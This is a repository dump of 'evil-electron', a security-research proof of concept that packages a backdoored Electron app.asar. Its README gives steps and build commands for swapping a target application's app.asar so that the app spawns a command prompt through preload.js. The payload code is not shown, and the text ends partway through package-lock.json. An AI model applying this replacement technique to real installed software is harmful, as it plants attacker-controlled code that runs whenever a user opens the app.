├── .gitignore ├── LICENSE ├── README.md ├── index.html ├── main.js ├── package-lock.json ├── package.json ├── preload.js └── release └── app.asar /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | release/app.asar.unpacked -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Parsia Hakimian 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Evil Electron a Backdoored Electron app.asar 2 | This is a fork of the Electron Quick Start application at 3 | https://github.com/electron/electron-quick-start. 4 | 5 | It spawns a command prompt. To change it, change [preload.js](preload.js). 6 | 7 | ## Usecase 8 | If you have a bundled Electron app you can replace the original `app.asar` with 9 | this app to get a command prompt. 10 | 11 | ## Quickstart 12 | 13 | 1. Make a copy of the original `/path/to/electron/app/resources/app.asar` file. 14 | 2. Copy `release/app.asar` into the path above. 15 | 3. Run the Electron app to see `cmd` pop. 16 | 17 | ## Building 18 | This repository creates an `app.asar` file and not a complete Electron app. Note 19 | we are not running `npm install` because the original Electron app already has 20 | the dependency. 21 | 22 | ``` 23 | # Clone this repository 24 | git clone https://github.com/parsiya/evil-electron 25 | # Go into the repository 26 | cd evil-electron 27 | # Install asar globally if it's not already installed 28 | npm install -g asar 29 | # Package the app into app.asar (modify for non-Windows OS) 30 | asar pack . release/app.asar --unpack-dir "{**/.git,**/release,**/node_modules}" && rd "release/app.asar.unpacked" /s /q 31 | # Copy release/app.asar to the place you want. 32 | ``` 33 | 34 | ## Testing 35 | To test your `app.asar` you need to install Electron. 36 | 37 | ``` 38 | # Clone this repository 39 | git clone https://github.com/parsiya/evil-electron 40 | # Go into the repository 41 | cd evil-electron 42 | # Install dependencies 43 | npm install 44 | # Run the app to test it, you should see the command prompt 45 | npm start 46 | # Install asar globally if it's not already installed 47 | npm install -g asar 48 | # Package the app into app.asar (modify for non-Windows OS) 49 | asar pack . release/app.asar --unpack-dir "{**/.git,**/release,**/node_modules}" && rd "release/app.asar.unpacked" /s /q 50 | # Copy release/app.asar to `resources/app.asar` for your target application 51 | ``` 52 | 53 | ## Troubleshooting 54 | See the original repository at https://github.com/electron/electron-quick-start 55 | and the [Writing Your First Electron App][first-electron] article. 56 | 57 | [first-electron]: https://www.electronjs.org/docs/tutorial/first-app 58 | 59 | ### My app.asar is Too Big 60 | 61 | 1. Did you exclude `node_modules` from the `asar pack` command? 62 | 2. Did you delete the old `app.asar` file? The asar command will append data to existing files. 63 | 64 | ### Only Works on Windows 65 | Yes. [issue #1](https://github.com/parsiya/evil-electron/issues/1) fixes some of 66 | this problem. I do not have a Mac so I have not tested that part. The Linux 67 | version just calls `gnome-terminal` which is problematic but 68 | [issue #2](https://github.com/parsiya/evil-electron/issues/2) is looking for a 69 | universal command. 70 | 71 | ### "The SUID sandbox helper binary was found, but is not configured correctly" 72 | This happens after `npm start`. Run these commands: 73 | 74 | ``` 75 | sudo chown root /path/to/evil-electron/node_modules/electron/dist/chrome-sandbox 76 | sudo chmod 4755 /path/to/evil-electron/node_modules/electron/dist/chrome-sandbox 77 | ``` 78 | 79 | Source: https://github.com/electron/electron/issues/17972#issuecomment-487369441 80 | 81 | ### I Cannot `asar extract` the Release File 82 | Yes, `asar` for some reason likes to reference the excluded files and keeps them 83 | in the `app.asar.unpacked` directory. We delete this directory with our 84 | `asar pack` command but `asar extract` needs this directory to extract things 85 | properly. If you know how to fix this please let me know. 86 | 87 | ### Should I Also Copy the `app.asar.unpacked` Directory? 88 | No. These are excluded files that are not needed for the application. If you run 89 | the commands above it should have been deleted. 90 | 91 | ### I Want to Package and Make a Standalone Electron Application 92 | See https://www.electronjs.org/docs/tutorial/application-distribution. 93 | 94 | ### Do I Need `nodeIntegration`? 95 | No. We are doing our spawn in `preload.js`. This file has almost complete access 96 | to the Node APIs. 97 | 98 | ## License 99 | MIT, see [LICENSE](LICENSE) for details. The original project is licensed under 100 | `CC0 1.0 (Public Domain)`. I felt like the hamburglar after changing the 101 | license. 102 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Spawn cmd! 6 | 7 | 8 |

You should see a command prompt now!

9 | To change it, modify "preload.js". 10 | 11 | 12 | -------------------------------------------------------------------------------- /main.js: -------------------------------------------------------------------------------- 1 | // Modules to control application life and create native browser window 2 | const {app, BrowserWindow} = require('electron') 3 | const path = require('path') 4 | 5 | function createWindow () { 6 | // Create the browser window. 7 | const mainWindow = new BrowserWindow({ 8 | width: 800, 9 | height: 600, 10 | webPreferences: { 11 | preload: path.join(__dirname, 'preload.js') 12 | // No need for nodeIntegration here because our payload is in preload.js. 13 | } 14 | }) 15 | 16 | // and load the index.html of the app. 17 | mainWindow.loadFile('index.html') 18 | 19 | // Open the DevTools. 20 | // mainWindow.webContents.openDevTools() 21 | } 22 | 23 | // This method will be called when Electron has finished 24 | // initialization and is ready to create browser windows. 25 | // Some APIs can only be used after this event occurs. 26 | app.whenReady().then(() => { 27 | createWindow() 28 | 29 | app.on('activate', function () { 30 | // On macOS it's common to re-create a window in the app when the 31 | // dock icon is clicked and there are no other windows open. 32 | if (BrowserWindow.getAllWindows().length === 0) createWindow() 33 | }) 34 | }) 35 | 36 | // Quit when all windows are closed, except on macOS. There, it's common 37 | // for applications and their menu bar to stay active until the user quits 38 | // explicitly with Cmd + Q. 39 | app.on('window-all-closed', function () { 40 | if (process.platform !== 'darwin') app.quit() 41 | }) 42 | -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "evil-electron", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "@electron/get": { 8 | "version": "1.12.3", 9 | "resolved": "https://registry.npmjs.org/@electron/get/-/get-1.12.3.tgz", 10 | "integrity": "sha512-NFwSnVZQK7dhOYF1NQCt+HGqgL1aNdj0LUSx75uCqnZJqyiWCVdAMFV4b4/kC8HjUJAnsvdSEmjEt4G2qNQ9+Q==", 11 | "dev": true, 12 | "requires": { 13 | "debug": "^4.1.1", 14 | "env-paths": "^2.2.0", 15 | "filenamify": "^4.1.0", 16 | "fs-extra": "^8.1.0", 17 | "global-agent": "^2.0.2", 18 | "global-tunnel-ng": "^2.7.1", 19 | "got": "^9.6.0", 20 | "progress": "^2.0.3", 21 | "semver": "^6.2.0", 22 | "sumchecker": "^3.0.1" 23 | } 24 | }, 25 | "@sindresorhus/is": { 26 | "version": "0.14.0", 27 | "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz", 28 | "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==", 29 | "dev": true 30 | }, 31 | "@szmarczak/http-timer": { 32 | "version": "1.1.2", 33 | "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz", 34 | "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==", 35 | "dev": true, 36 | "requires": { 37 | "defer-to-connect": "^1.0.1" 38 | } 39 | }, 40 | "@types/node": { 41 | "version": "12.19.15", 42 | "resolved": "https://registry.npmjs.org/@types/node/-/node-12.19.15.tgz", 43 | "integrity": "sha512-lowukE3GUI+VSYSu6VcBXl14d61Rp5hA1D+61r16qnwC0lYNSqdxcvRh0pswejorHfS+HgwBasM8jLXz0/aOsw==", 44 | "dev": true 45 | }, 46 | "boolean": { 47 | "version": "3.0.2", 48 | "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.0.2.tgz", 49 | "integrity": "sha512-RwywHlpCRc3/Wh81MiCKun4ydaIFyW5Ea6JbL6sRCVx5q5irDw7pMXBUFYF/jArQ6YrG36q0kpovc9P/Kd3I4g==", 50 | "dev": true, 51 | "optional": true 52 | }, 53 | "buffer-crc32": { 54 | "version": "0.2.13", 55 | "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", 56 | "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", 57 | "dev": true 58 | }, 59 | "buffer-from": { 60 | "version": "1.1.1", 61 | "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", 62 | "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", 63 | "dev": true 64 | }, 65 | "cacheable-request": { 66 | "version": "6.1.0", 67 | "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz", 68 | "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==", 69 | "dev": true, 70 | "requires": { 71 | "clone-response": "^1.0.2", 72 | "get-stream": "^5.1.0", 73 | "http-cache-semantics": "^4.0.0", 74 | "keyv": "^3.0.0", 75 | "lowercase-keys": "^2.0.0", 76 | "normalize-url": "^4.1.0", 77 | "responselike": "^1.0.2" 78 | }, 79 | "dependencies": { 80 | "get-stream": { 81 | "version": "5.2.0", 82 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", 83 | "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", 84 | "dev": true, 85 | "requires": { 86 | "pump": "^3.0.0" 87 | } 88 | }, 89 | "lowercase-keys": { 90 | "version": "2.0.0", 91 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", 92 | "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", 93 | "dev": true 94 | } 95 | } 96 | }, 97 | "clone-response": { 98 | "version": "1.0.2", 99 | "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", 100 | "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", 101 | "dev": true, 102 | "requires": { 103 | "mimic-response": "^1.0.0" 104 | } 105 | }, 106 | "concat-stream": { 107 | "version": "1.6.2", 108 | "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", 109 | "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", 110 | "dev": true, 111 | "requires": { 112 | "buffer-from": "^1.0.0", 113 | "inherits": "^2.0.3", 114 | "readable-stream": "^2.2.2", 115 | "typedarray": "^0.0.6" 116 | } 117 | }, 118 | "config-chain": { 119 | "version": "1.1.12", 120 | "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.12.tgz", 121 | "integrity": "sha512-a1eOIcu8+7lUInge4Rpf/n4Krkf3Dd9lqhljRzII1/Zno/kRtUWnznPO3jOKBmTEktkt3fkxisUcivoj0ebzoA==", 122 | "dev": true, 123 | "optional": true, 124 | "requires": { 125 | "ini": "^1.3.4", 126 | "proto-list": "~1.2.1" 127 | } 128 | }, 129 | "core-js": { 130 | "version": "3.8.3", 131 | "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.8.3.tgz", 132 | "integrity": "sha512-KPYXeVZYemC2TkNEkX/01I+7yd+nX3KddKwZ1Ww7SKWdI2wQprSgLmrTddT8nw92AjEklTsPBoSdQBhbI1bQ6Q==", 133 | "dev": true, 134 | "optional": true 135 | }, 136 | "core-util-is": { 137 | "version": "1.0.2", 138 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", 139 | "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", 140 | "dev": true 141 | }, 142 | "debug": { 143 | "version": "4.3.1", 144 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", 145 | "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", 146 | "dev": true, 147 | "requires": { 148 | "ms": "2.1.2" 149 | } 150 | }, 151 | "decompress-response": { 152 | "version": "3.3.0", 153 | "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", 154 | "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", 155 | "dev": true, 156 | "requires": { 157 | "mimic-response": "^1.0.0" 158 | } 159 | }, 160 | "defer-to-connect": { 161 | "version": "1.1.3", 162 | "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz", 163 | "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==", 164 | "dev": true 165 | }, 166 | "define-properties": { 167 | "version": "1.1.3", 168 | "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", 169 | "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", 170 | "dev": true, 171 | "optional": true, 172 | "requires": { 173 | "object-keys": "^1.0.12" 174 | } 175 | }, 176 | "detect-node": { 177 | "version": "2.0.4", 178 | "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.4.tgz", 179 | "integrity": "sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw==", 180 | "dev": true, 181 | "optional": true 182 | }, 183 | "duplexer3": { 184 | "version": "0.1.4", 185 | "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", 186 | "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=", 187 | "dev": true 188 | }, 189 | "electron": { 190 | "version": "9.4.0", 191 | "resolved": "https://registry.npmjs.org/electron/-/electron-9.4.0.tgz", 192 | "integrity": "sha512-hOC4q0jkb+UDYZRy8vrZ1IANnq+jznZnbkD62OEo06nU+hIbp2IrwDRBNuSLmQ3cwZMVir0WSIA1qEVK0PkzGA==", 193 | "dev": true, 194 | "requires": { 195 | "@electron/get": "^1.0.1", 196 | "@types/node": "^12.0.12", 197 | "extract-zip": "^1.0.3" 198 | } 199 | }, 200 | "encodeurl": { 201 | "version": "1.0.2", 202 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", 203 | "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=", 204 | "dev": true, 205 | "optional": true 206 | }, 207 | "end-of-stream": { 208 | "version": "1.4.4", 209 | "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", 210 | "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", 211 | "dev": true, 212 | "requires": { 213 | "once": "^1.4.0" 214 | } 215 | }, 216 | "env-paths": { 217 | "version": "2.2.0", 218 | "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.0.tgz", 219 | "integrity": "sha512-6u0VYSCo/OW6IoD5WCLLy9JUGARbamfSavcNXry/eu8aHVFei6CD3Sw+VGX5alea1i9pgPHW0mbu6Xj0uBh7gA==", 220 | "dev": true 221 | }, 222 | "es6-error": { 223 | "version": "4.1.1", 224 | "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", 225 | "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", 226 | "dev": true, 227 | "optional": true 228 | }, 229 | "escape-string-regexp": { 230 | "version": "1.0.5", 231 | "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", 232 | "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", 233 | "dev": true 234 | }, 235 | "extract-zip": { 236 | "version": "1.7.0", 237 | "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.7.0.tgz", 238 | "integrity": "sha512-xoh5G1W/PB0/27lXgMQyIhP5DSY/LhoCsOyZgb+6iMmRtCwVBo55uKaMoEYrDCKQhWvqEip5ZPKAc6eFNyf/MA==", 239 | "dev": true, 240 | "requires": { 241 | "concat-stream": "^1.6.2", 242 | "debug": "^2.6.9", 243 | "mkdirp": "^0.5.4", 244 | "yauzl": "^2.10.0" 245 | }, 246 | "dependencies": { 247 | "debug": { 248 | "version": "2.6.9", 249 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 250 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", 251 | "dev": true, 252 | "requires": { 253 | "ms": "2.0.0" 254 | } 255 | }, 256 | "ms": { 257 | "version": "2.0.0", 258 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 259 | "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", 260 | "dev": true 261 | } 262 | } 263 | }, 264 | "fd-slicer": { 265 | "version": "1.1.0", 266 | "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", 267 | "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", 268 | "dev": true, 269 | "requires": { 270 | "pend": "~1.2.0" 271 | } 272 | }, 273 | "filename-reserved-regex": { 274 | "version": "2.0.0", 275 | "resolved": "https://registry.npmjs.org/filename-reserved-regex/-/filename-reserved-regex-2.0.0.tgz", 276 | "integrity": "sha1-q/c9+rc10EVECr/qLZHzieu/oik=", 277 | "dev": true 278 | }, 279 | "filenamify": { 280 | "version": "4.2.0", 281 | "resolved": "https://registry.npmjs.org/filenamify/-/filenamify-4.2.0.tgz", 282 | "integrity": "sha512-pkgE+4p7N1n7QieOopmn3TqJaefjdWXwEkj2XLZJLKfOgcQKkn11ahvGNgTD8mLggexLiDFQxeTs14xVU22XPA==", 283 | "dev": true, 284 | "requires": { 285 | "filename-reserved-regex": "^2.0.0", 286 | "strip-outer": "^1.0.1", 287 | "trim-repeated": "^1.0.0" 288 | } 289 | }, 290 | "fs-extra": { 291 | "version": "8.1.0", 292 | "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", 293 | "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", 294 | "dev": true, 295 | "requires": { 296 | "graceful-fs": "^4.2.0", 297 | "jsonfile": "^4.0.0", 298 | "universalify": "^0.1.0" 299 | } 300 | }, 301 | "get-stream": { 302 | "version": "4.1.0", 303 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", 304 | "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", 305 | "dev": true, 306 | "requires": { 307 | "pump": "^3.0.0" 308 | } 309 | }, 310 | "global-agent": { 311 | "version": "2.1.12", 312 | "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-2.1.12.tgz", 313 | "integrity": "sha512-caAljRMS/qcDo69X9BfkgrihGUgGx44Fb4QQToNQjsiWh+YlQ66uqYVAdA8Olqit+5Ng0nkz09je3ZzANMZcjg==", 314 | "dev": true, 315 | "optional": true, 316 | "requires": { 317 | "boolean": "^3.0.1", 318 | "core-js": "^3.6.5", 319 | "es6-error": "^4.1.1", 320 | "matcher": "^3.0.0", 321 | "roarr": "^2.15.3", 322 | "semver": "^7.3.2", 323 | "serialize-error": "^7.0.1" 324 | }, 325 | "dependencies": { 326 | "semver": { 327 | "version": "7.3.4", 328 | "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.4.tgz", 329 | "integrity": "sha512-tCfb2WLjqFAtXn4KEdxIhalnRtoKFN7nAwj0B3ZXCbQloV2tq5eDbcTmT68JJD3nRJq24/XgxtQKFIpQdtvmVw==", 330 | "dev": true, 331 | "optional": true, 332 | "requires": { 333 | "lru-cache": "^6.0.0" 334 | } 335 | } 336 | } 337 | }, 338 | "global-tunnel-ng": { 339 | "version": "2.7.1", 340 | "resolved": "https://registry.npmjs.org/global-tunnel-ng/-/global-tunnel-ng-2.7.1.tgz", 341 | "integrity": "sha512-4s+DyciWBV0eK148wqXxcmVAbFVPqtc3sEtUE/GTQfuU80rySLcMhUmHKSHI7/LDj8q0gDYI1lIhRRB7ieRAqg==", 342 | "dev": true, 343 | "optional": true, 344 | "requires": { 345 | "encodeurl": "^1.0.2", 346 | "lodash": "^4.17.10", 347 | "npm-conf": "^1.1.3", 348 | "tunnel": "^0.0.6" 349 | } 350 | }, 351 | "globalthis": { 352 | "version": "1.0.1", 353 | "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.1.tgz", 354 | "integrity": "sha512-mJPRTc/P39NH/iNG4mXa9aIhNymaQikTrnspeCa2ZuJ+mH2QN/rXwtX3XwKrHqWgUQFbNZKtHM105aHzJalElw==", 355 | "dev": true, 356 | "optional": true, 357 | "requires": { 358 | "define-properties": "^1.1.3" 359 | } 360 | }, 361 | "got": { 362 | "version": "9.6.0", 363 | "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz", 364 | "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==", 365 | "dev": true, 366 | "requires": { 367 | "@sindresorhus/is": "^0.14.0", 368 | "@szmarczak/http-timer": "^1.1.2", 369 | "cacheable-request": "^6.0.0", 370 | "decompress-response": "^3.3.0", 371 | "duplexer3": "^0.1.4", 372 | "get-stream": "^4.1.0", 373 | "lowercase-keys": "^1.0.1", 374 | "mimic-response": "^1.0.1", 375 | "p-cancelable": "^1.0.0", 376 | "to-readable-stream": "^1.0.0", 377 | "url-parse-lax": "^3.0.0" 378 | } 379 | }, 380 | "graceful-fs": { 381 | "version": "4.2.4", 382 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", 383 | "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", 384 | "dev": true 385 | }, 386 | "http-cache-semantics": { 387 | "version": "4.1.0", 388 | "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", 389 | "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==", 390 | "dev": true 391 | }, 392 | "inherits": { 393 | "version": "2.0.4", 394 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 395 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", 396 | "dev": true 397 | }, 398 | "ini": { 399 | "version": "1.3.8", 400 | "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", 401 | "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", 402 | "dev": true, 403 | "optional": true 404 | }, 405 | "isarray": { 406 | "version": "1.0.0", 407 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", 408 | "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", 409 | "dev": true 410 | }, 411 | "json-buffer": { 412 | "version": "3.0.0", 413 | "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", 414 | "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=", 415 | "dev": true 416 | }, 417 | "json-stringify-safe": { 418 | "version": "5.0.1", 419 | "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", 420 | "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", 421 | "dev": true, 422 | "optional": true 423 | }, 424 | "jsonfile": { 425 | "version": "4.0.0", 426 | "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", 427 | "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", 428 | "dev": true, 429 | "requires": { 430 | "graceful-fs": "^4.1.6" 431 | } 432 | }, 433 | "keyv": { 434 | "version": "3.1.0", 435 | "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz", 436 | "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==", 437 | "dev": true, 438 | "requires": { 439 | "json-buffer": "3.0.0" 440 | } 441 | }, 442 | "lodash": { 443 | "version": "4.17.20", 444 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.20.tgz", 445 | "integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==", 446 | "dev": true, 447 | "optional": true 448 | }, 449 | "lowercase-keys": { 450 | "version": "1.0.1", 451 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", 452 | "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==", 453 | "dev": true 454 | }, 455 | "lru-cache": { 456 | "version": "6.0.0", 457 | "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", 458 | "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", 459 | "dev": true, 460 | "optional": true, 461 | "requires": { 462 | "yallist": "^4.0.0" 463 | } 464 | }, 465 | "matcher": { 466 | "version": "3.0.0", 467 | "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", 468 | "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==", 469 | "dev": true, 470 | "optional": true, 471 | "requires": { 472 | "escape-string-regexp": "^4.0.0" 473 | }, 474 | "dependencies": { 475 | "escape-string-regexp": { 476 | "version": "4.0.0", 477 | "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", 478 | "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", 479 | "dev": true, 480 | "optional": true 481 | } 482 | } 483 | }, 484 | "mimic-response": { 485 | "version": "1.0.1", 486 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", 487 | "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", 488 | "dev": true 489 | }, 490 | "minimist": { 491 | "version": "1.2.5", 492 | "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", 493 | "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", 494 | "dev": true 495 | }, 496 | "mkdirp": { 497 | "version": "0.5.5", 498 | "resolved": 